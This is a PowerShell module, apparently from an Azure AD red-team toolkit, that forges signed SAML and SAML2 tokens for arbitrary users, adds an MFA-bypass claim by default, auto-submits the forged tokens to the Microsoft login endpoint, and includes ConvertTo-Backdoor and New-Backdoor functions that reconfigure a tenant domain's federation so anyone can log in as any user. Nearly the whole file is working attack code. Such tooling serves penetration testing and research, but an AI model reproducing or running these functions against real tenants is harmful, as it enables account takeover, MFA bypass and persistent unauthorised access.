FederatedIdentityTools.ps1
# any.sts public key $any_sts="MIIDcTCCAligAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJmaTESMBAGA1UECAwJUGlya2FubWFhMREwDwYDVQQKDAhHZXJlbmlvczEcMBoGA1UEAwwTaGFjay5vMzY1ZG9tYWluLm9yZzAeFw0xODAyMjExMzEyNDVaFw0yODAyMTkxMzEyNDVaMFIxCzAJBgNVBAYTAmZpMRIwEAYDVQQIDAlQaXJrYW5tYWExETAPBgNVBAoMCEdlcmVuaW9zMRwwGgYDVQQDDBNoYWNrLm8zNjVkb21haW4ub3JnMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQIApH73Hcv30uHHve6Zd3E/aEeFgQRMZD/CJUQC2DfSk0mDX8X75MIo7gP+62ZTUsOxhSDdOOVYshK8Kyk9VZvo21A5hDcCudXxc/eifCdwGLalCaOQt8pdMlYJgsBDcieMNToCx2pXp1PvkJdKc2JiXQCIAolJySbNXGJbBG1Oh4tty7lEXUqHpHgqiIJCb64q64BIQpZr/WQG0QgtH/gwWYz7b/psNA4xVi8RJnRUl7I62+j0WVSTih2j3kK20j5OIW9Rk+5XoHJ5npOBM84pYJ6yxMz1sOdSqOccAjSVHWFKdM437PxAPeiXAXoBKczGZ72Q8ocz2YSLGKcSMnYCrhECAwEAAaNQME4wHQYDVR0OBBYEFNu32o5XSIQ0lvwB+d2cnTlrtk2PMB8GA1UdIwQYMBaAFNu32o5XSIQ0lvwB+d2cnTlrtk2PMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQENBQADggECAHokwTra0dlyG5jj08TiHlx1pJFnqlejjpFXaItuk2jEBfO/fv1AJaETSR5vupFfDHA337oPiqWugxai1TIvJGKhZImNloMj8lyeZk/9/5Pt2X4N8r1JpAQzt+Ez3z7aNrAFxRjJ0Y+rDDcSItZ5vaXJ5PqBvR7icjIBaXrHVFUC6OZ2RkebbpajbIdt6U/P7ovg7L1J6LAzL/asATZzM3Mjn+9rsC9xLbJwuEabLU+BxySsNo8TULYi9O2MSJ9FvddE6n3OPqrmldldCrb6OugK/pzCwjTnVgRtrHNJc+zKavbiu0Yfp8uYhvCCWAakdQ8g6ZNJ1TGSaYNIrpTIhXIJ" # Creates a SAML token function New-SAMLToken { <# .SYNOPSIS Creates a SAML token .DESCRIPTION Creates a valid SAML token for given user .Parameter UserName User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address. .Parameter ImmutableID Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64. For non-synced users this must be set manually, can be any unique string within the tenant. User doesn't have to federated user. .Parameter Issuer Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any unique string within Azure AD. Must match federation information of validated domain in the tenant. .Parameter ByPassMFA Whether to add an attribute to by-pass MFA. Default is $True. .Parameter Certificate A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant. .Parameter PfxFileName The full path to .pfx file from where to load the certificate .Parameter PfxPassword The password of the .pfx file .Example PS C:\>New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword" .Example PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword" PS C:\>New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$UserName="joulupukki@korvatunturi.fi", # Not used in AAD identity federation, defaults to Santa Claus ;) [Parameter(Mandatory=$True)] [String]$ImmutableID, [Parameter(Mandatory=$True)] [String]$Issuer, [Parameter(Mandatory=$False)] [bool]$ByPassMFA=$true, [Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)] [switch]$UseBuiltInCertificate, [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [string]$PfxPassword ) Process { # Do we use built-in certificate (any.sts) if($UseBuiltInCertificate) { $Certificate = Get-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password "" } elseif($Certificate -eq $null) # Load the ceftificate { $Certificate = Get-Certificate -FileName $PfxFileName -Password $PfxPassword } # Import the assemblies Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' # Create a new SAML assertion $assertion = New-Object System.IdentityModel.Tokens.SamlAssertion # Set id, time, and issuer $assertion.AssertionId = "_$((New-Guid).ToString())" $assertion.IssueInstant = (get-date).ToUniversalTime() $assertion.Issuer = $Issuer # Create audience and SAML conditions objects $audienceCondition = New-Object System.IdentityModel.Tokens.SamlAudienceRestrictionCondition -ArgumentList @(,[System.Uri[]]@(New-Object System.Uri("urn:federation:MicrosoftOnline"))) $SAMLConditionList = @($audienceCondition) $SAMLConditions = New-Object System.IdentityModel.Tokens.SamlConditions((Get-Date), (Get-Date).AddHours(1), [System.IdentityModel.Tokens.SamlAudienceRestrictionCondition[]]$SAMLConditionList) $assertion.Conditions=$SAMLConditions # Create subject and attribute statements $subject = New-Object System.IdentityModel.Tokens.SamlSubject $subject.ConfirmationMethods.Add("urn:oasis:names:tc:SAML:1.0:cm:bearer") $statement = New-Object System.IdentityModel.Tokens.SamlAttributeStatement # Note! Azure AD identity federation doesn't care about UPN at all, it can be anything. $statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.xmlsoap.org/claims","UPN",[string[]]@($UserName)))) $statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/LiveID/Federation/2008/05","ImmutableID",[string[]]@($ImmutableID)))) if($ByPassMFA) { $statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/claims","authnmethodsreferences",[string[]]@("http://schemas.microsoft.com/claims/multipleauthn")))) } # Inside company network $statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01/","insidecorporatenetwork",[string[]]@("True")))) $statement.SamlSubject = $subject $assertion.Statements.Add($statement) # Create authentication statement $assertion.Statements.Add((New-Object System.IdentityModel.Tokens.SamlAuthenticationStatement($subject,"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport", (Get-Date), $null, $null, $null))) # Sign the assertion $ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate))) $assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha1Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha1Digest, $ski ) # Create a SAML token $token = New-Object System.IdentityModel.Tokens.SamlSecurityToken($assertion) # Convert to XML $handler = New-Object System.IdentityModel.Tokens.SamlSecurityTokenHandler $writer = New-Object System.IO.StringWriter $handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token) $strToken=$writer.ToString() return $strToken } } # Creates a SAML token function New-SAML2Token { <# .SYNOPSIS Creates a SAML token .DESCRIPTION Creates a valid SAML token for given user .Parameter UserName User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address. .Parameter ImmutableID Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64. For non-synced users this must be set manually, can be any unique string within the tenant. User doesn't have to federated user. .Parameter Issuer Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any unique string within Azure AD. Must match federation information of validated domain in the tenant. .Parameter Certificate A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant. .Parameter PfxFileName The full path to .pfx file from where to load the certificate .Parameter PfxPassword The password of the .pfx file .Example PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword" .Example PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword" PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$UserName="joulupukki@korvatunturi.fi", # Not used in AAD identity federation, defaults to Santa Claus ;) [Parameter(Mandatory=$True)] [String]$ImmutableID, [Parameter(Mandatory=$True)] [String]$Issuer, [Parameter(Mandatory=$False)] [String]$InResponseTo, [Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)] [switch]$UseBuiltInCertificate, [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [string]$PfxPassword ) Process { # Do we use built-in certificate (any.sts) if($UseBuiltInCertificate) { $Certificate = Get-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password "" } elseif($Certificate -eq $null) # Load the ceftificate { $Certificate = Get-Certificate -FileName $PfxFileName -Password $PfxPassword } if([String]::IsNullOrEmpty($InResponseTo)) { $InResponseTo = "_$((New-Guid).ToString())"; } # Import the assemblies Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' $now = (get-date).ToUniversalTime() # Create a new SAML2 assertion $identifier = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($Issuer) $assertion = New-Object System.IdentityModel.Tokens.Saml2Assertion($identifier) # Set id, time, and issuer $assertion.Id = "_$((New-Guid).ToString())" $assertion.IssueInstant = $now # Create subject and related objects $subject = New-Object System.IdentityModel.Tokens.Saml2Subject $subject.NameId = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($ImmutableID) $subject.NameId.Format = New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:nameid-format:persistent") $confirmationData = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmationData $confirmationData.InResponseTo = New-Object System.IdentityModel.Tokens.Saml2Id($InResponseTo) $confirmationData.NotOnOrAfter = $now.AddHours(1) $confirmationData.Recipient = New-Object System.uri("https://login.microsoftonline.com/login.srf") $confirmation = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmation(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:cm:bearer"))#, $confirmationData) $confirmation.SubjectConfirmationData = $confirmationData $subject.SubjectConfirmations.Add($confirmation) $assertion.Subject = $subject # Create condition and audience objects $conditions = New-Object System.IdentityModel.Tokens.Saml2Conditions $conditions.NotBefore = $now $conditions.NotOnOrAfter = $now.AddHours(1) $conditions.AudienceRestrictions.Add((New-Object System.IdentityModel.Tokens.Saml2AudienceRestriction(New-Object System.Uri("urn:federation:MicrosoftOnline", [System.UriKind]::RelativeOrAbsolute)))) $assertion.Conditions = $conditions # Add statements $attrUPN = New-Object System.IdentityModel.Tokens.Saml2Attribute("IDPEmail",$UserName) $statement = New-Object System.IdentityModel.Tokens.Saml2AttributeStatement $statement.Attributes.Add($attrUPN) $assertion.Statements.Add($statement) $authenticationContext = New-Object System.IdentityModel.Tokens.Saml2AuthenticationContext(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport")) $authenticationStatement = New-Object System.IdentityModel.Tokens.Saml2AuthenticationStatement($authenticationContext) $authenticationStatement.AuthenticationInstant = $now $authenticationStatement.SessionIndex = $assertion.Id.Value $assertion.Statements.Add($authenticationStatement) # Sign the assertion $ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate))) $assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha1Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha1Digest, $ski ) # Create a SAML token $token = New-Object System.IdentityModel.Tokens.Saml2SecurityToken($assertion) # Convert to XML $handler = New-Object System.IdentityModel.Tokens.Saml2SecurityTokenHandler $writer = New-Object System.IO.StringWriter $handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token) $strToken=$writer.ToString() return $strToken } } # Create WSFed response function New-WSFedResponse { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$SAMLToken ) Process { # Create the Request Security Token Response $response=@" <t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"> <t:Lifetime> <wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$((Get-Date).toString("o"))</wsu:Created> <wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$((Get-Date).AddHours(1).toString("o"))</wsu:Expires> </t:Lifetime> <wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"> <wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing"> <wsa:Address>urn:federation:MicrosoftOnline</wsa:Address> </wsa:EndpointReference> </wsp:AppliesTo> <t:RequestedSecurityToken> $SAMLToken </t:RequestedSecurityToken> <t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType> <t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType> <t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType> </t:RequestSecurityTokenResponse> "@ return $response } } # Create SAML-P response function New-SAMLPResponse { [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$SAML2Token ) Process { # Create the Request Security Token Response $response=@" <samlp:Response ID="_$((New-Guid).ToString())" Version="2.0" IssueInstant="$((Get-Date).toString('s'))Z" Destination="https://login.microsoftonline.com/login.srf" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="$InResponseTo" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">$Issuer</Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" /> </samlp:Status> $SAML2Token </samlp:Response> "@ return $response } } # Load .pfx certificate function Get-Certificate { <# .SYNOPSIS Loads X509 certificate from the given .pfx file .DESCRIPTION Loads X509 certificate from the given .pfx file .Parameter FileName The full path to .pfx file from where to load the certificate .Parameter Password The password of the .pfx file .Example PS C:\>Get-AADIntCertificate -FileName "MyCert.pfx" -Password -Password "mypassword" #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] [String]$FileName, [Parameter(Mandatory=$False)] [String]$Password="" ) Process { $Certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($FileName, $Password, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet) return $Certificate } } # Opens a web browser and logins as the given user function Open-Office365Portal { <# .SYNOPSIS Opens a web browser and logins to Office 365 as the given user .DESCRIPTION Creates an identity federation token and opens a login form in Internet Explorer. .Parameter UserName User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address. .Parameter ImmutableID Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64. For non-synced users this must be set manually, can be any unique string within the tenant. User doesn't have to federated user. .Parameter Issuer Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any unique string within Azure AD. Must match federation information of validated domain in the tenant. .Parameter ByPassMFA Whether to add an attribute to by-pass MFA. Default is $True. .Parameter UseAnySTS Uses internal any.sts certificate .Parameter Certificate A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant. .Parameter PfxFileName The full path to .pfx file from where to load the certificate .Parameter PfxPassword The password of the .pfx file .Parameter UseBuiltInCertificate Use the built-in any.sts certificate. .Example PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword" .Example PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword" PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert .Example PS C:\>$id=Get-AADIntImmutableID -ADUser (Get-ADUser firstname.lastname) PS C:\>Open-AADIntOffice365Portal -ImmutableId $id -Issuer "http://mysts.company.com/adfs/ls" -UseBuiltInCertificate #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$UserName="joulupukki@korvatunturi.fi", # Not used in AAD identity federation, defaults to Santa Claus ;) [Parameter(Mandatory=$True)] [String]$ImmutableID, [Parameter(Mandatory=$True)] [String]$Issuer, [Parameter(Mandatory=$False)] [bool]$ByPassMFA=$true, [ValidateSet('WSFED','SAMLP')] $TokenType="WSFED", [Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)] [switch]$UseBuiltInCertificate, [Parameter(ParameterSetName='Certificate',Mandatory=$True)] [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)] [string]$PfxFileName, [Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)] [string]$PfxPassword ) Process { # Do we use built-in certificate (any.sts) if($UseBuiltInCertificate) { $Certificate = Get-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password "" } elseif($Certificate -eq $null) # Load the ceftificate { try { $Certificate = Get-Certificate -FileName $PfxFileName -Password $PfxPassword } catch { $_ return } } $form="" if($TokenType -eq "WSFED") { # Create SAML token and WSFED response $token=New-SAMLToken -UserName $UserName -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate $wsfed=New-WSFedResponse -SAMLToken $token # Create a login form $form=@" <html> <head><title>AADInternals Office 365 login form</title></head> <body onload="document.forms['login'].submit()"> <form action="https://login.microsoftonline.com/login.srf" method="post" name="login"> <input name="wa" type="hidden" value="wsignin1.0" /> <input name="wctx" type="hidden" value="" /> <input name="wresult" type="hidden" value="$([System.Net.WebUtility]::HtmlEncode($wsfed))"> To login automatically, the javascript needs to be enabled.. So just click the button! <br> <button type="submit">Login to Office 365</button> </form> </body> </html> "@ } else { # Create SAML2 token and SAMLP response $token=New-SAML2Token -UserName $UserName -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate $samlp=New-SAMLPResponse -SAML2Token $token # Create a login form $form=@" <html> <head><title>AADInternals Office 365 login form</title></head> <body onload="document.forms['login'].submit()"> <form action="https://login.microsoftonline.com/login.srf" method="post"> <input name="RelayState" value="" type="hidden"/> <input name="SAMLResponse" value="$([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($samlp)))" type="hidden"/> To login automatically, the javascript needs to be enabled.. So just click the button! <br> <button type="submit">Login to Office 365</button> </form> </body> </html> "@ } # Create a temporary file # TODO: remove the tmp file $tmp = New-TemporaryFile Rename-Item -Path $tmp.FullName -NewName ($tmp.Name+".html") $html = ($tmp.FullName+".html") # Write the form to the file $form | Out-File $html # Start IE in private mode Start-Process iexplore.exe -ArgumentList "-private $("file:///$html")" } } # Gets immutable id from AD user function Get-ImmutableID { <# .SYNOPSIS Gets Immutable ID using user's AD object .DESCRIPTION Gets Immutable ID using user's AD object .Parameter ADUser Users AD object. .Example PS C:\>$user=Get-ADUser "myuser" PS C:\>$immutableId=Get-AADIntImmutableID #> [cmdletbinding()] Param( [Parameter(Mandatory=$True)] $ADUser ) Process { if($ADUser.GetType().ToString() -ne "Microsoft.ActiveDirectory.Management.ADUser") { Write-Error "ADUser is wrong type. Must be Microsoft.ActiveDirectory.Management.ADUser" return } # Convert GUID to Base64 $guid=$ADUser.ObjectGUID.ToString() $ImmutableId=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getBytes($guid)) return $ImmutableId } } # Creates a backdoor to Azure AD by using an existing domain function ConvertTo-Backdoor { <# .SYNOPSIS Converts a domain to a backdoor to Azure AD tenant. .DESCRIPTION Opens a backdoor to Azure AD tenant by altering the given domains authentication settings. Allows logging in as any user of the tenant. The certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value> .Parameter AccessToken Access Token .Parameter DomainName The domain to be used as a backdoor .Parameter Create If set, tries to create the domain .Example PS C:\>ConvertTo-AADIntBackdoor -DomainName backdoor.myo365.site #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$True)] [String]$DomainName, [Parameter(Mandatory=$False)] [switch]$Create ) Process { # Unique ID $UniqueID = '{0:X}' -f (Get-Date).GetHashCode() # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache($AccessToken) # Set some variables $tenant_id = Get-TenantId -AccessToken $AccessToken $LogOnOffUri ="https://any.sts/$UniqueID" $IssuerUri = "http://any.sts/$UniqueID" $input = read-host "Are you sure to create backdoor with $DomainName`? Type YES to continue or CTRL+C to abort" switch ($input) ` { "yes" { # Tries to create a new unverified domain if($Create) { New-Domain -AccessToken $AccessToken -Name $DomainName # We need to wait a while for the domain to be created.. $seconds = 10 $done = (Get-Date).AddSeconds($seconds) while($done -gt (Get-Date)) { $secondsLeft = $done.Subtract((Get-Date)).TotalSeconds $percent = ($seconds - $secondsLeft) / $seconds * 100 Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining $secondsLeft -PercentComplete $percent [System.Threading.Thread]::Sleep(500) } Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining 0 -Completed } Set-DomainAuthentication -Authentication Federated -AccessToken $AccessToken -DomainName $DomainName -LogOffUri $LogOnOffUri -PassiveLogOnUri $LogOnOffUri -IssuerUri $IssuerUri -SigningCertificate $any_sts -SupportsMfa $true Write-Host "Backdoor created. Domain: $DomainName, issuer=$IssuerUri" -ForegroundColor DarkBlue -BackgroundColor White } default { write-host "Aborted" -ForegroundColor Red } } } } # Creates a backdoor to Azure AD # 03.02.2019 function New-Backdoor { <# .SYNOPSIS Creates a new backdoor to Azure AD tenant. .DESCRIPTION Creates a new backdoor to Azure tenant by creating a new domain and by altering its authentication settings. Allows logging in as any user of the tenant. The certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value> Utilises a bug in Azure AD, which allows converting unverified domains to federated. .Parameter AccessToken Access Token .Parameter DomainName The domain to be created to be used as a backdoor. If not given, uses default.onmicrosoft.com. .Example PS C:\>New-AADIntBackdoor -DomainName backdoor.company.com #> [cmdletbinding()] Param( [Parameter(Mandatory=$False)] [String]$AccessToken, [Parameter(Mandatory=$False)] [String]$DomainName="microsoft.com" ) Process { # Get from cache if not provided $AccessToken = Get-AccessTokenFromCache($AccessToken) ConvertTo-Backdoor -AccessToken $AccessToken -DomainName $DomainName -Create } } |